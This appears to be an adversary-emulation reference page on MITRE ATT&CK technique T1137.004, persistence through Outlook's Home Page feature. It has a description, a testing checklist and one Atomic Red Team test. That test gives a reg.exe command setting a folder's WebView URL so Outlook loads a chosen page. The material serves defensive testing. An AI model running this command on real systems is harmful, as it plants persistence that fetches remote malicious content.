T1137.004 Outlook Home Page

T1137.004 Outlook Home Page

Sub-technique of: T1137

High-Level Description

Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.

Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.

Kill Chain Phase

• Persistence (TA0003)

Platforms: Windows, Office Suite

What to Check

• Identify if Outlook Home Page technique is applicable to target environment
• Check Windows systems for indicators of Outlook Home Page
• Check Office Suite systems for indicators of Outlook Home Page
• Verify mitigations are bypassed or absent (2 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Install Outlook Home Page Persistence

This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed.

Triggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox).

Supported Platforms: windows

reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f